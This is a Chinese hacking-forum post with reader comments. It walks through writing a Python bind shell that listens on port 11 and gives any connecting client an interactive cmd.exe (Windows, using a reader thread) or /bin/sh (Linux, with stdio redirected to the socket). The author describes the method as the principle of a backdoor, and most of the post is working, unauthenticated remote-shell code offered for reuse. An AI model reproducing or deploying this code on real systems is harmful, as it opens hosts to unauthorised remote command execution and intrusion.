py正向连接cmdshell 解决篇+代码
之前提了一个问题:https://www.t00ls.com/viewthread.php?tid=26398,承蒙大家的关注,我后来想一想,暂时没有太好的解决方案,只能退而求其次,用多线程来解决read阻塞的问题。
关于交互式正向连接shell,有几个点需要注意
1.不管在linux还是windows下,想要做到交互式,就只能开启一个shell。不能够每次接收到命令就再开启一个shell进程,然后执行,这样做的效果和os.system('命令')类似,就不用搞这么复杂了。
2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执行完后就结束,注意区别。
我之前的想法是,python首先新建一个socket监听端口等待连接。客户端连接上以后,就开启一个shell进程,然后把进程的标准输入输出错误(stdin、stdout、stderr)都重定向到管道中,通过管道和python程序连接,py中的subprocess库已为我们封装好了这个功能,我们不用自己再新建管道了。
然后进入一个循环,每次读取一下socket中数据,然后写入stdin中,通过管道传输给shell,shell执行完后,我用stdout.read()将结果读取到,再send给客户端。
想法很单纯很美妙,但实践起来就出问题了。python中read不是异步的,只有读取指定字节或读取到EOF才会返回结果。如果没有EOF那么read就一直读,程序阻塞在这里,于是表现出来就是卡死了。我nc中输入dir,什么返回都没有。只要把python关掉,那边才会返回一个结果。
所以,解决思路有四:
1.如果能知道shell向管道里写入了多少字节数据,我read(n)读取这个字节数据即可
2.如果有异步的read函数,调用也能解决问题
3.实在没办法,可以另开启一个线程,专门读取管道中的数据
4.不使用管道,直接把shell的输入输出定向到socket中。不过在windows下使用总报错,后面再讲。
思路1、2,我是没想到好办法的。没办法知道管道内数据的大小,没找到异步read函数。
我用思路3写出了windows下的正向连接cmdshell:
from socket import *
import subprocess
import os, threading
def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
用了多线程,开启了一个新线程,这个线程专门从stdout中read数据,即使阻塞也不会影响主线程的socket过程。
我用思路4写了一个linux版本,可以完美使用:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
直接在popen的时候,将新建进程的stdin、stdout、stderr都重定向到socket中。这样就可以不使用管道通信了。这也是C语言下零管道后门的原理。
但不知道为什么,我写了一个windows版本,总是报错:
不太能理解,windows版本就把/bin/sh替换成cmd.exe,但就出这个错。
以上是我对python下正向连接shell的分析,希望能帮到同样有困惑的人,其中纰漏与错误,能得到各位的斧正!
评论26次
风骚的技术啊
学xi了 代码强人
看不懂 好高深
就是啊都是代码帝我们怎么得了!
trick2不错,/k参数以前一直没用过
这两天一直在捣鼓py,楼主写的这个还不能完全看懂,哎,我还得继续努力啊。。。
好东西,思路很不错,python很强大。不过用C语言弄个更好吧
C语言的很好写,网上很多,没有研究的必要了。
好东西,思路很不错,python很强大。不过用C语言弄个更好吧
做个标记以后用
不懂啊。。。只能膜拜了
能执行FTP命令么
膜拜,值得学xi
分析得很详细,学xi了 感觉多线程不好掌握,稍不注意就会搞出一些未知的错误
mark 以后有能力了再看。。
不错。赞!!!
那个论坛似乎有大牛写出来了 py的你可以看看
他是参考我的写的
那个论坛似乎有大牛写出来了 py的 你可以看看
都是代码 强大 膜拜下
看不懂啊。。。只能膜拜了
if stdin is None: p2cread = _subprocess.GetStdHandle(_subprocess.STD_INPUT_HANDLE) if p2cread is None: p2cread, _ = _subprocess.CreatePipe(None, 0) elif stdin == PIPE: p2cread, p2cwrite = _subprocess.CreatePipe(None, 0) elif isinstance(stdin, int): p2cread = msvcrt.get_osfhandle(stdin) else: # Assuming file-like object p2cread = msvcrt.get_osfhandle(stdin.fileno()) p2cread = self._make_inheritable(p2cread)是这个地方。刚才贴错了。
这个地方是?说明什么?前面的我没看到。。